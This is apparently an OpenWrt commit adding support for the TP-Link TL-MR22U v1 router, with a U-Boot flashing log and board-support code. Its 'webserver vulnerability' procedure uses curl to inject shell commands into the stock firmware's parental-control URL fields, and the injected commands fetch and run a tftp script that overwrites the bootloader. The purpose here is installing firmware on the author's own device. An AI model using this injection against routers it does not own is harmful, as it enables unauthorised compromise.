Add initial support for TL-MR22U v1, portable battery-powered 3G router
based on QCA9531 chipset with 8M flash 32M RAM.
WARNING! Opening device will void your warranty and get you high risk of
damaging some of the sensitive electronic parts.
Serial console image installation procedure:
Start serial console with default baud 115200 and type tpl at autobooting
counter prompt in your console. Put required files (u-boot, firmware, art...)
in your tftp server's root dir and start server.
Use u-boot's memory operation commands to erase and reflash required
partitions. Example of firmware upgrade:
U-Boot
1.1.4-g09a4c0df-dirty (Build from LSDK-9.5.3.16 at Jan 23 2014 - 08:39:04)
- Honey Bee 1.1
DRAM: 32 MB
Top of RAM usable for U-Boot at:
82000000
Reserving 126k for U-Boot at:
81fe0000
Reserving 192k for malloc() at:
81fb0000
Reserving 44 Bytes for Board Info at:
81faffd4
Reserving 36 Bytes for Global Data at:
81faffb0
Reserving 128k for boot params() at:
81f8ffb0
Stack Pointer at:
81f8ff98
Now running in RAM - U-Boot at:
81fe0000
Flash Manuf Id 0xef, DeviceId0 0x40, DeviceId1 0x18
flash size 8MB, sector count = 128
Flash: 8 MB
Using default environment
In: serial
Out: serial
Err: serial
Net: ath_gmac_enet_initialize...
No valid address in Flash. Using fixed address
No valid address in Flash. Using fixed address
ath_gmac_enet_initialize: reset mask:c02200
Scorpion ---->S27 PHY*
uboot, lan&wan swap++++!!! [ath_gmac_mii_setup] 217
S27 reg init
: cfg1 0x800c0000 cfg2 0x7114
eth0: 00:03:7f:09:0b:ad
athrs27_phy_setup ATHR_PHY_CONTROL 0 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 0 :10
eth0 up
Honey Bee ----> MAC 1 S27 PHY *
S27 reg init
ATHRS27: resetting s27
ATHRS27: s27 reset done
: cfg1 0x800c0000 cfg2 0x7214
eth1: 00:03:7f:09:0b:ad
athrs27_phy_setup ATHR_PHY_CONTROL 1 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 1 :10
athrs27_phy_setup ATHR_PHY_CONTROL 2 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 2 :10
athrs27_phy_setup ATHR_PHY_CONTROL 3 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 3 :10
athrs27_phy_setup ATHR_PHY_CONTROL 4 :1000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 4 :10
eth1 up
eth0, eth1
Setting 0x181162c0 to 0x50a1a100
Autobooting in 1 seconds
honeybee> tftpboot 0x80800000 openwrt-ar71xx-generic-tl-mr22u-v1-squashfs-factory.bin
Trying eth1
enet1 port4 up
dup 1 speed 1000
Using eth1 device
TFTP from server 192.168.1.100; our IP address is 192.168.1.1
Filename 'openwrt-ar71xx-generic-tl-mr22u-v1-squashfs-factory.bin'.
Load address: 0x80800000
Loading: *##################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
############################
done
Bytes transferred =
8126464 (7c0000 hex)
honeybee> erase 0x9F020000 +0x7c0000
Erasing flash...
First 0x2 last 0x7d sector size 0x10000
#### 2#### 3#### 4#### 5#### 6#### 7#### 8#### 9#### 10#### 11#### 12#### 13#### 14#### 15#### 16#### 17#### 18#### 19####
20#### 21#### 22#### 23#### 24#### 25#### 26#### 27#### 28#### 29#### 30#### 31#### 32#### 33#### 34#### 35#### 36#### 37#### 38####
39#### 40#### 41#### 42#### 43#### 44#### 45#### 46#### 47#### 48#### 49#### 50#### 51#### 52#### 53#### 54#### 55#### 56#### 57####
58#### 59#### 60#### 61#### 62#### 63#### 64#### 65#### 66#### 67#### 68#### 69#### 70#### 71#### 72#### 73#### 74#### 75#### 76####
77#### 78#### 79#### 80#### 81#### 82#### 83#### 84#### 85#### 86#### 87#### 88#### 89#### 90#### 91#### 92#### 93#### 94#### 95####
96#### 97#### 98#### 99#### 100#### 101#### 102#### 103#### 104#### 105#### 106#### 107#### 108#### 109#### 110#### 111#### 112#### 113#### 114####
115#### 116#### 117#### 118#### 119#### 120#### 121#### 122#### 123#### 124#### 125
Erased 124 sectors
honeybee> cp.b 0x80800000 0x9F020000 0x7C0000
Copy to Flash... write addr:
9f020000
done
Webserver vulnerability image installation procedure:
Download modified u-boot from http://projects.dymacz.pl/ and rename it to uboot22.
Download busybox from https://busybox.net/downloads/binaries/1.16.1/busybox-mips
rename it to busybox and put in your tftp server root directory together with
uboot22 and following aa file:
Create file aa containing:
cd /tmp
tftp -gl uboot22 192.168.1.2
tftp -gl busybox 192.168.1.2
chmod 755 busybox
./busybox dd if=uboot22 of=/dev/mtdblock0 conv=fsync
reboot
It will send busybox and modified u-boot to device, set permissions on
busybox and overwrite original u-boot with modified one.
Set your IP address to 192.168.1.2 and start tftp server.
1. Reset device to factory settings, use 3G mode.
2. Set password using curl:
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.1.1/'
Password is admin42 after this.
3. Add parental control rule:
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'
4. Execute commands from aa file:
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.2;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'
5. Upload OpenWrt/LEDE image from u-boot webserver by following instructions on https://github.com/pepe2k/u-boot_mod
If the device doesn't start (very weak system LED blink) power it on with reset button pressed and set lower clock using netconsole.
Signed-off-by: Tomislav Požega <pozega.tomislav@gmail.com>
[remove advise to prefer bootloader replacement, captialize model name in
subject, enable mach code in config-4.9 as well]
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
tl-mr11u|\
tl-mr12u|\
tl-mr13u|\
+ tl-mr22u|\
tl-mr3020|\
tl-mr3040|\
tl-mr3040-v2|\
tl-mr10u|\
tl-mr12u|\
tl-mr13u|\
+ tl-mr22u|\
tl-wdr4300|\
tl-wdr4900-v2|\
tl-wr703n|\
"001301"*)
model="TP-Link TL-MR13U"
;;
+ "002201"*)
+ model="TP-Link TL-MR22U"
+ ;;
"007260"*)
model="TellStick ZNet Lite"
;;
*"TL-MR13U v1")
name="tl-mr13u"
;;
+ *"TL-MR22U v1")
+ name="tl-mr22u"
+ ;;
*"TL-MR3020")
name="tl-mr3020"
;;
tl-mr11u|\
tl-mr12u|\
tl-mr13u|\
+ tl-mr22u|\
tl-mr3020|\
tl-mr3040|\
tl-mr3040-v2|\
# CONFIG_ATH79_MACH_TEW_823DRU is not set
# CONFIG_ATH79_MACH_TL_MR11U is not set
# CONFIG_ATH79_MACH_TL_MR13U is not set
+# CONFIG_ATH79_MACH_TL_MR22U is not set
# CONFIG_ATH79_MACH_TL_MR3020 is not set
# CONFIG_ATH79_MACH_TL_MR3X20 is not set
# CONFIG_ATH79_MACH_TL_MR6400 is not set
select ATH79_DEV_USB
select ATH79_DEV_WMAC
+config ATH79_MACH_TL_MR22U
+ bool "TP-LINK TL-MR22U support"
+ select SOC_QCA953X
+ select ATH79_DEV_ETH
+ select ATH79_DEV_GPIO_BUTTONS
+ select ATH79_DEV_LEDS_GPIO
+ select ATH79_DEV_M25P80
+ select ATH79_DEV_USB
+ select ATH79_DEV_WMAC
+
config ATH79_MACH_TL_MR3020
bool "TP-LINK TL-MR3020 support"
select SOC_AR933X
obj-$(CONFIG_ATH79_MACH_TEW_823DRU) += mach-tew-823dru.o
obj-$(CONFIG_ATH79_MACH_TL_MR11U) += mach-tl-mr11u.o
obj-$(CONFIG_ATH79_MACH_TL_MR13U) += mach-tl-mr13u.o
+obj-$(CONFIG_ATH79_MACH_TL_MR22U) += mach-tl-mr22u.o
obj-$(CONFIG_ATH79_MACH_TL_MR3020) += mach-tl-mr3020.o
obj-$(CONFIG_ATH79_MACH_TL_MR3X20) += mach-tl-mr3x20.o
obj-$(CONFIG_ATH79_MACH_TL_MR6400) += mach-tl-mr6400.o
--- /dev/null
+/*
+ * TP-LINK TL-MR22U board support
+ *
+ * Copyright (C) 2011 dongyuqi <729650915@qq.com>
+ * Copyright (C) 2011-2012 Gabor Juhos <juhosg@openwrt.org>
+ * Copyright (C) 2016-2017 Tomislav Požega <pozega.tomislav@gmail.com>
+
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 2 as published
+ * by the Free Software Foundation.
+ */
+
+#include <linux/gpio.h>
+#include <linux/platform_device.h>
+#include <linux/ar8216_platform.h>
+#include <asm/mach-ath79/ar71xx_regs.h>
+
+#include "common.h"
+#include "dev-eth.h"
+#include "dev-gpio-buttons.h"
+#include "dev-leds-gpio.h"
+#include "dev-m25p80.h"
+#include "dev-usb.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+
+#define TL_MR22U_GPIO_USB_POWER 11
+#define TL_MR22U_GPIO_BTN_RESET 12
+#define TL_MR22U_GPIO_LED_SYSTEM 13
+#define TL_MR22U_GPIO_BTN_SW1 14
+#define TL_MR22U_GPIO_BTN_SW2 16
+#define TL_MR22U_KEYS_POLL_INTERVAL 20 /* msecs */
+#define TL_MR22U_KEYS_DEBOUNCE_INTERVAL (3 * TL_MR22U_KEYS_POLL_INTERVAL)
+
+static const char *tl_mr22u_part_probes[] = {
+ "tp-link",
+ NULL,
+};
+
+static struct flash_platform_data tl_mr22u_flash_data = {
+ .part_probes = tl_mr22u_part_probes,
+};
+
+static struct gpio_led tl_mr22u_leds_gpio[] __initdata = {
+ {
+ .name = "tp-link:blue:system",
+ .gpio = TL_MR22U_GPIO_LED_SYSTEM,
+ .active_low = 1,
+ },
+};
+
+static struct gpio_keys_button tl_mr22u_gpio_keys[] __initdata = {
+ {
+ .desc = "reset",
+ .type = EV_KEY,
+ .code = KEY_RESTART,
+ .debounce_interval = TL_MR22U_KEYS_DEBOUNCE_INTERVAL,
+ .gpio = TL_MR22U_GPIO_BTN_RESET,
+ .active_low = 0,
+ },
+ {
+ .desc = "sw1",
+ .type = EV_KEY,
+ .code = BTN_0,
+ .debounce_interval = TL_MR22U_KEYS_DEBOUNCE_INTERVAL,
+ .gpio = TL_MR22U_GPIO_BTN_SW1,
+ .active_low = 0,
+ },
+ {
+ .desc = "sw2",
+ .type = EV_KEY,
+ .code = BTN_1,
+ .debounce_interval = TL_MR22U_KEYS_DEBOUNCE_INTERVAL,
+ .gpio = TL_MR22U_GPIO_BTN_SW2,
+ .active_low = 0,
+ },
+};
+
+static void __init tl_mr22u_setup(void)
+{
+ u8 *mac = (u8 *) KSEG1ADDR(0x1f01fc00);
+ u8 *ee = (u8 *) KSEG1ADDR(0x1fff1000);
+
+ /* disable PHY_SWAP and PHY_ADDR_SWAP bits */
+ ath79_setup_ar933x_phy4_switch(false, false);
+
+ ath79_register_m25p80(&tl_mr22u_flash_data);
+ ath79_register_leds_gpio(-1, ARRAY_SIZE(tl_mr22u_leds_gpio),
+ tl_mr22u_leds_gpio);
+ ath79_register_gpio_keys_polled(-1, TL_MR22U_KEYS_POLL_INTERVAL,
+ ARRAY_SIZE(tl_mr22u_gpio_keys),
+ tl_mr22u_gpio_keys);
+
+ gpio_request_one(TL_MR22U_GPIO_USB_POWER,
+ GPIOF_OUT_INIT_HIGH | GPIOF_EXPORT_DIR_FIXED,
+ "USB power");
+ ath79_register_usb();
+
+ ath79_register_mdio(0, 0x0);
+ ath79_init_mac(ath79_eth0_data.mac_addr, mac, 0);
+ ath79_eth0_data.duplex = DUPLEX_FULL;
+ ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_MII;
+ ath79_eth0_data.speed = SPEED_100;
+ ath79_eth0_data.phy_mask = BIT(4);
+ ath79_register_eth(0);
+ ath79_register_wmac(ee, mac);
+}
+
+MIPS_MACHINE(ATH79_MACH_TL_MR22U, "TL-MR22U", "TP-LINK TL-MR22U v1",
+ tl_mr22u_setup);
ATH79_MACH_TL_MR10U, /* TP-LINK TL-MR10U */
ATH79_MACH_TL_MR11U, /* TP-LINK TL-MR11U */
ATH79_MACH_TL_MR13U, /* TP-LINK TL-MR13U */
+ ATH79_MACH_TL_MR22U, /* TP-LINK TL-MR22U */
ATH79_MACH_TL_MR3020, /* TP-LINK TL-MR3020 */
ATH79_MACH_TL_MR3040, /* TP-LINK TL-MR3040 */
ATH79_MACH_TL_MR3040_V2, /* TP-LINK TL-MR3040 v2 */
endef
TARGET_DEVICES += tl-mr13u-v1
+define Device/tl-mr22u-v1
+ $(Device/tplink-8mlzma)
+ DEVICE_TITLE := TP-LINK TL-MR22U v1
+ DEVICE_PACKAGES := kmod-usb-core kmod-usb2 kmod-usb-ledtrig-usbport
+ BOARDNAME := TL-MR22U
+ DEVICE_PROFILE := TLMR22U
+ TPLINK_HWID := 0x00220101
+ CONSOLE := ttyS0,115200
+endef
+TARGET_DEVICES += tl-mr22u-v1
+
define Device/tl-mr3020-v1
$(Device/tplink-4mlzma)
DEVICE_TITLE := TP-LINK TL-MR3020 v1
CONFIG_ATH79_MACH_TEW_712BR=y
CONFIG_ATH79_MACH_TL_MR11U=y
CONFIG_ATH79_MACH_TL_MR13U=y
+CONFIG_ATH79_MACH_TL_MR22U=y
CONFIG_ATH79_MACH_TL_MR3020=y
CONFIG_ATH79_MACH_TL_MR3X20=y
CONFIG_ATH79_MACH_TL_WA701ND_V2=y
projects / openwrt / staging / jow.git / commitdiff